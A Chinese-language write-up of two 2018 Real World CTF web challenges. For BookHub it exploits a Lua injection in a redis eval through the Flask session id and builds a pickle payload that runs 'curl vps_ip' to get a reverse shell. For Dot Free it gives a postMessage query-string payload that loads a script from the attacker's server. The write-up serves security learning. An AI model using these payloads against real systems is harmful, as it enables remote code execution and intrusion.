2018RealWorld-Web

栏目: 数据库 · Redis · 发布时间: 6年前

内容简介:恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup

2018RealWorld-Web

前言

恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup

Advertisement

2018RealWorld-Web

题目打开有点迷,没有任何东西

下意识的进行文件泄露探测

<a href="https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip"><code>https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip
</code></a>

得到flag

2018RealWorld-Web

BookHub

2018RealWorld-Web 拿到题目后发现有源码泄露

<a href="http://52.52.4.252:8080/www.zip"><code>http://52.52.4.252:8080/www.zip
</code></a>

下载下来后发现是flask框架写的

简单浏览了一下路由

发现大部分功能都是

@login_required

所以先尝试登陆

<a href="http://52.52.4.252:8080/login"><code>http://52.52.4.252:8080/login
</code></a>

随手尝试一下,发现

2018RealWorld-Web

于是去跟过滤

@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
    form = LoginForm(data=flask.request.data)
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        login_user(user, remember=form.remember_me.data)

        return flask.redirect(flask.url_for('book.admin'))

    return flask.render_template('login.html', form=form)

跟到 LoginForm

class LoginForm(FlaskForm):
    username = StringField('username', validators=[DataRequired()])
    password = PasswordField('password', validators=[DataRequired()])
    remember_me = BooleanField('remember_me', default=False)

    def validate_password(self, field):
        address = get_remote_addr()
        whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1')

        # If you are in the debug mode or from office network (developer)
        if not app.debug and not ip_address_in(address, whitelist):
            raise StopValidation(f'your ip address isn't in the {whitelist}.')

        user = User.query.filter_by(username=self.username.data).first()
        if not user or not user.check_password(field.data):
            raise StopValidation('Username or password error.')

再跟到 get_remote_addr()

def get_remote_addr():
    address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)

    try:
        ipaddress.ip_address(address)
    except ValueError:
        return None
    else:
        return address

发现address来自于 X-Forwarded-For ,若不存在则来自于remote_addr

那么应该是可以使用XFF伪造ip了

我们本地测试一下

2018RealWorld-Web 2018RealWorld-Web

发现是可以伪造的,然而题目却怎么也不行= =(不知道什么鬼)

绝望之际,发现白名单中有一个公网ip

18.213.16.123

直接打开,是没有http服务的,随手测试了flask的默认端口,有点意思

2018RealWorld-Web

原来这才是真正的大坑,这里网站直接跑在了debug模式

迅速去看代码里的

if app.debug:

发现

@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():

我们尝试这个路由

2018RealWorld-Web

添加csrf_token

2018RealWorld-Web

发现refresh_session()竟然存在未授权访问

(至于为什么 @login_required 写了还能未授权访问?大概是因为 @login_required 写在上面了,仔细观察,别的都写在user_blueprint.route下面)

关注到后续代码

status = 'success'
        sessionid = flask.session.sid
        prefix = app.config['SESSION_KEY_PREFIX']

        if flask.request.form.get('submit', None) == '1':
            try:
                rds.eval(rf'''
                local function has_value (tab, val)
                    for index, value in ipairs(tab) do
                        if value == val then
                            return true
                        end
                    end

                    return false
                end

                local inputs = {{ "{prefix}{sessionid}" }}
                local sessions = redis.call("keys", "{prefix}*")

                for index, sid in ipairs(sessions) do
                    if not has_value(inputs, sid) then
                        redis.call("del", sid)
                    end
                end
                ''', 0)
            except redis.exceptions.ResponseError as e:
                app.logger.exception(e)
                status = 'fail'

这里明显使用了redis lua,看来是要在session上做文章了

我们发现代码中具有可控点 sessionid

并且这里存在严重拼接问题

例如

2018RealWorld-Web

我们可以闭合双引号,并引入恶意代码,让 redis 去执行

(注:f是 python 3.6的新特性,在2018MeePwnCTF曾出现过一道使用该特性的题目,不再赘述)

我们观察到构造方法

local inputs = {{ "{prefix}{sessionid}" }}

跟一下

prefix = app.config['SESSION_KEY_PREFIX']

发现

app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'

于是即可构造:

6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool

2018RealWorld-Web 代码拼接后变成

$python3 main.py
{ "bookhub:session:6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool" }

显而易见,下面我们只需要思考构造 redis evilcode 即可

这里参考ph的两篇文章(当然要参考出题人写过的文章呀XD)

<a href="https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html">https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html</a>
<a href="https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html">https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
</a>

其中ph的两篇文章分别有提到:

2018RealWorld-Web 2018RealWorld-Web

23333越看越像这道题

既然如此,我们可以给自己构造的一个session赋反弹 shell 的值,于是构造如下evilcode

redis.call("set","bookhub:session:skycool",反弹shell)

打完之后将自己的session改为skycool,刷新反弹shell即可

那么开始实操,我们先尝试一下curl

生成反弹shell payload代码如下

import cPickle
import os

class exp(object):
    def __reduce__(self):
        s = """curl vps_ip:23333"""
        return (os.system,(s,))

e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
    s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:skycool",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool
'''%evilcode
print payload.replace(" ","")

然后

2018RealWorld-Web2018RealWorld-Web

然后去登录

发现自己的vps收到访问

2018RealWorld-Web

此时眼泪哗的一下流了下来

同理反弹shell即可

2018RealWorld-Web 2018RealWorld-Web

Dot Free

2018RealWorld-Web

题目乍一看仿佛是SSRF

于是我进行了一些测试,发现ip2long:

2018RealWorld-Web

是可以请求的,但是我尝试了自己的vps,根本收不到请求

在迷茫之际,发现源代码中

window.addEventListener('message', function (e) {
        if (e.data.iframe) {
            if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
                if (e.data.iframe.type == "iframe") {
                    lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
                } else {
                    lls(e.data.iframe.value)
                }
            }
        }
    }, false);
    window.onload = function (ev) {
        postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
    }

相当可疑

于是我查阅了一下postMessage

<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage"><code>https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage
</code></a>

发现

2018RealWorld-Web

于是这进一步确实了我的想法

既然确定了问题点,那么肯定是构造payload进行测试

首先确定payload的输入点

decodeURIComponent(location.search.substr(1))

window.location
window的location对象

search
得到的是url中?部分

substr()
返回一个从指定位置开始的指定长度的子字符串
这里设置为1,是为了把url中的?号去掉

于是可以确定format为

http://13.57.104.34/?payload
然后是 JSON.parse

说明要传入一个json_encode

那么根据题目的意图

if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object'))

我们肯定是要bypass这段的,但是我们希望我们构造的payload是可以成功打到自己vps的

但是 // 不能使用,于是想到

http:/

这样的Bypass

并且不能使用dot,我们还是选择ip2long

然后进入if..else后

我们肯定希望程序进入

else {
         lls(e.data.iframe.value)
}

因为

function lls(src) {
        var el = document.createElement('script');
        if (el) {
            el.setAttribute('type', 'text/javascript');
            el.src = src;
            document.body.appendChild(el);
        }
    };
这样可以把我们的src添加到 document.body

即可触发恶意操作

于是构造

2018RealWorld-Web

尝试

http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433:23333%22}}

发现收到回显

2018RealWorld-Web

下一步一气呵成

在自己的index.html中写入

2018RealWorld-Web

然后再请求

http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433%22}}

即可收到

2018RealWorld-Web

后记

我还是太年轻了,尽走弯路= =,感谢巨佬的中途carry,让我学到好多知识Orz


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Powerful

Powerful

Patty McCord / Missionday / 2018-1-25

Named by The Washington Post as one of the 11 Leadership Books to Read in 2018 When it comes to recruiting, motivating, and creating great teams, Patty McCord says most companies have it all wrong. Mc......一起来看看 《Powerful》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具